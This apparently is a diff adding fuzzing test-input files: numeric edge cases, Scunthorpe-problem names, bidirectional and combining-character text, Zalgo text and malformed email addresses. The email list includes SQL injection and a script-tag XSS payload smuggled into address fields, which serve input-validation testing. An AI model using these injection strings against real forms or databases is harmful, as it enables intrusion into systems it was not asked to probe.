0x0
|
|
52
|
+
0xffffffff
|
|
53
|
+
0xffffffffffffffff
|
|
54
|
+
0xabad1dea
|
|
55
|
+
123456789012345678901234567890123456789
|
|
56
|
+
1,000.00
|
|
57
|
+
1 000.00
|
|
58
|
+
1'000.00
|
|
59
|
+
1,000,000.00
|
|
60
|
+
1 000 000.00
|
|
61
|
+
1'000'000.00
|
|
62
|
+
1.000,00
|
|
63
|
+
1 000,00
|
|
64
|
+
1'000,00
|
|
65
|
+
1.000.000,00
|
|
66
|
+
1 000 000,00
|
|
67
|
+
1'000'000,00
|
|
68
|
+
01000
|
|
69
|
+
08
|
|
70
|
+
09
|
|
71
|
+
2.2250738585072011e-308
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
Scunthorpe General Hospital
|
|
2
|
+
Penistone Community Church
|
|
3
|
+
Lightwater Country Park
|
|
4
|
+
Jimmy Clitheroe
|
|
5
|
+
Horniman Museum
|
|
6
|
+
shitake mushrooms
|
|
7
|
+
RomansInSussex.co.uk
|
|
8
|
+
http://www.cum.qc.ca/
|
|
9
|
+
Craig Cockburn, Software Specialist
|
|
10
|
+
Linda Callahan
|
|
11
|
+
Dr. Herman I. Libshitz
|
|
12
|
+
magna cum laude
|
|
13
|
+
Super Bowl XXX
|
|
14
|
+
medieval erection of parapets
|
|
15
|
+
evaluate
|
|
16
|
+
mocha
|
|
17
|
+
expression
|
|
18
|
+
Arsenal canal
|
|
19
|
+
classic
|
|
20
|
+
Tyson Gay
|
|
21
|
+
Dick Van Dyke
|
|
22
|
+
basement
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
|
|
2
|
+
בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
|
|
3
|
+
הָיְתָהtestالصفحات التّحول
|
|
4
|
+
﷽
|
|
5
|
+
ﷺ
|
|
6
|
+
مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ،
|
|
7
|
+
الكل في المجمو عة (5)
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
⁰⁴⁵
|
|
2
|
+
₀₁₂
|
|
3
|
+
⁰⁴⁵₀₁₂
|
|
4
|
+
ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
The quick brown fox jumps over the lazy dog
|
|
2
|
+
𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠
|
|
3
|
+
𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌
|
|
4
|
+
𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈
|
|
5
|
+
𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰
|
|
6
|
+
𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘
|
|
7
|
+
𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐
|
|
8
|
+
⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣
|
|
2
|
+
̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰
|
|
3
|
+
̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟
|
|
4
|
+
̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕
|
|
5
|
+
Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
justastring
|
|
2
|
+
email@addrese.com;secondemail@address.com
|
|
3
|
+
@address.com
|
|
4
|
+
Jacco Van Tuijl <email@example.com>
|
|
5
|
+
email.address.com
|
|
6
|
+
email@address@example.com
|
|
7
|
+
.email@address.com
|
|
8
|
+
うえあいお@address.com
|
|
9
|
+
email.@address.com
|
|
10
|
+
email..email@address.com
|
|
11
|
+
email@address..com
|
|
12
|
+
email@address.com (Jacco van Tuijl)
|
|
13
|
+
email@-address.com
|
|
14
|
+
email@111.222.333.44444
|
|
15
|
+
Abc..123@address.com
|
|
16
|
+
“(),:;<>[\]@address.com
|
|
17
|
+
jacco"van"tuijl@address.com
|
|
18
|
+
jacco\ van"someting"tuijl\example@address.com
|
|
19
|
+
“email”@address.com
|
|
20
|
+
sql"or"1"="1"or"test@email.com
|
|
21
|
+
sql'or'1'='1'or'test@email.com
|
|
22
|
+
xss"><script>alert(1)</script><"test@address.com
|
|
23
|
+
a"b(c)d,e:f;g<h>i[j\k]l@example.com
|
|
24
|
+
this is"not\allowed@example.com
|
|
25
|
+
notallowed@example.com
|
|
26
|
+
notallowed@example.com
|